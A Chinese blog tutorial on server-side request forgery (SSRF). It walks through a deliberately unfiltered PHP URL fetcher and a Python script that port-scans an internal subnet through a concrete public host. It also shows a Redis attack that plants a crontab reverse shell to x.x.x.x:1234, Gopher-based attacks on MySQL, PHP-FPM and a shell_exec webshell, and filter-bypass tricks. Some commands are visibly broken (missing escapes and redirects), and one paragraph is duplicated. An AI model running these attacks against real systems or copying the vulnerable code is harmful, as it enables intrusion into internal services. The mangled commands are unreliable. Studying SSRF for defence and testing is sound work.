SSRF漏洞梳理

1.概述

  服务端请求伪造,一种攻击者通过构造数据进而伪造服务端发起请求的漏洞。请求从内部发起,所以SSRF漏洞攻击的目标一般是外网无法访问的内部系统。
  产生漏洞的原因多是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者可以自由构造参数,而发起预期外的请求。

2.原理

2.1 认识URL

URL的结构如下所示:

  URI = scheme:[//authority]path[?query][#fragment]

authority组件分为以下3部分:

 [userinfo@]host[:port]
  • scheme:一串大小写不敏感的字符组成,表示获取资源所需要的协议。
  • authority:userinfo是可选项遇到的比较少。
  • host:表示在那个服务器上获取资源,常见域名形式,也有IPv4和IPv6地址。
  • port:端口号。
  • Path:指向资源的路径,一般使用‘/’进行分层。
  • query:查询字符串,将用户输入的数据传递给服务端,以“?”作为表示。
  • fragment:片段ID,与query不同的是,其内容不会被传递到服务端,一般用于表示页面的锚点。

2.2 代码示例

<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
$res = curl_exec($ch);
header('content-type:image/png');
curl_close($ch);
echo $res;
?>

  如果将URL参数设置为一个图片地址,将直接打印该图片。
在这里插入图片描述
  因为获取图片地址的URL参数未做任何过滤,所以攻击者可以通过修改该地址或协议来发起SSRF攻击。如:file:///etc/passwd
在这里插入图片描述

3.寻找和测试

  SSRF漏洞一般出现在有调用外部资源的场景中,如社交服务分享图片、图片识别服务、网站采集服务、远程资源请求(如wordpress xmlrpc.php)、文件处理服务(如XML解析)等。进行测试的时候,可以尝试一下几种协议:

  • file:// :从文件系统中获取文件内容。
  • dict:// : 字典服务器协议,让客户端能够访问更多字典源。在SSRF可以获取目标服务器上运行的服务版本等信息。
  • gopher:// :分布式的文档传递服务,使用Gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容,如HTTP请求、MySQL请求等。

4.攻击方式

4.1 内部服务资产探测

  可以直接探测网站所在服务器端口的开放情况甚至内网资产情况,如确定该处存在SSRF漏洞,则可以通过确定请求成功与失败的返回信息进行判断服务开放情况。如下python脚本是一个简单的利用程序。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests as req
import time
ports = ['80','3306','6379','8080','8000']
session = req.Session()
for i in range(255):
	ip = '172.28.22.%d' % i
	for port in ports:
		 url = 'http://47.94.144.61/ssrf/1.php?url=http://%s:%s' % (ip,port)
		 try:
				res = session.get(url,timeout=3)
				if len(res.content) > 0:
				     print(ip, port, 'is open')
		 except:
				continue
print('DONE')

4.2 Gopher协议扩展

4.3.1 攻击Redis

  Redis一般运行在内网,使用者大多将其绑定在127.0.0.1:6379,一般都是空口令。在攻击Redis的时候,一般是写入Crontab反弹shell,通常的攻击流程如下:

redis-cli flushall
echo -e "nn*/1 * * * * bash -i /dev/tcp/x.x.x.x/1234 0>&1nn" | redis-cli -x set 1
redis-cli  -p 1234 config set dir /var/spool/cron
redis-cli -p 1234 config set dbfilename root
redis-cli -p 1234 save

此时我们使用socat获取数据包,命令如下:

socat -v tcp-listen:1234,fork tcp-connect:localhost:6379

  然后将其中的数据转换成Gopher协议的URL。先舍弃开头为“>”和“<”的数据,这表示请求和返回,再舍弃掉+OK的数据,表示返回的信息。在剩下的数据中,将“r”替换为“%0d”,将“n”(换行)替换为“%0a”,其中的“$”进行URL编码。最后使用curl命令将将构造好的字符串填入进行一次攻击。

4.3.2 攻击Mysql

  MySQL分为客户端和服务端,由客户端连接服务端有4种方式:UNIX套接字、内存共享、命名管道、TCP/IP套接字。我们将依靠第四种方式实现攻击。当mysqlserver不需进行密码认证时,将直接使用第4种方式发送数据包。所以,在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行。
  假设想查询目标服务器上数据库中user表的信息,我们先在本地新建一张user表,再使用tcpdump进行抓包,并将抓到的流量写入/pcap/mysql.pcap文件。

tcpdump -i lo port 3306 -w /pcap/mysql.pcap

  之后登陆Mysql进行查询操作,然后使用wireshark打开/pcap/mysql.pcap数据包,过滤MySQL,再随便选择一个包并单击右键,在弹出的快捷菜单中选择“追踪流 → TCP流”,过滤出客户端到服务端的数据包,最后将格式调整为HEX转储,然后使用wireshark打开/pcap/mysql.pcap数据包,过滤MySQL,再随便选择一个包并单击右键,在弹出的快捷菜单中选择“追踪流 → TCP流”,过滤出客户端到服务端的数据包,最后将格式调整为HEX转储,之后再进行拼接攻击。

4.3.3 PHP-FPM攻击

利用条件:

  • Libcurl,版本高于7.45.0;
  • PHP-FPM,监听端口,版本高于5.3.3;
  • 知道服务器上任意一个PHP文件的绝对路径。
  • 利用exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
    在这里插入图片描述
    在这里插入图片描述
4.3.4 攻击内网中的脆弱Web应用

如果内网中存在一个任意命令执行漏洞的web应用,代码如下:

<?php
	var_dump(shell_exec($_POST['command']));
?>

在本地监听任意端口,然后对此端口发起一次POST请求,以抓取请求数据包:
在这里插入图片描述
根据上面规则将其修改成Gopher协议的URL,执行unname -a命令:
在这里插入图片描述
自动组装Gopher协议的脚本:https://github.com/tarunkant/Gopherus

5.SSRF绕过

5.1 IP的限制

  • 使用Enclosed alphanumerics代替IP中的数字或网址中的字母。
  • 使用句号代替点。
  • 如果服务端过滤方式使用正则表达式过滤属于内网的IP地址,那么可以尝试将IP地址转换为进制的方式进行绕过,如将127.0.0.1转换为十六进制后进行请求。
    在这里插入图片描述
  • IP地址有一些特殊的写法,如在Windows下,0代表0.0.0.0,而在Linux下,0代表127.0.0.1。所以,某些情况下可以用http://0进行请求127.0.0.1。类似127.0.0.1这种中间部分含有0的地址,可以将0省略。

5.2 302跳转

  • 网络上存在一个名叫xip.io的服务,当访问这个服务的任意子域名时,都会重定向到这个子域名,如127.0.0.1.xip.io。
  • 这种方式可能存在一个问题,即在传入的URL中存在关键字127.0.0.1,一般会被过滤,那么,我们可以使用短网址将其重定向到指定的IP地址,如短网址http://dwz.cn/11SMa。
  • 有时服务端可能过滤了很多协议,如传入的URL中只允许出现“http”或“https”,那么可以在自己的服务器上写一个302跳转,利用Gopher协议攻击内网的Redis。

5.3 URL的解析问题

可以看上篇博客ssrf题目复现

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>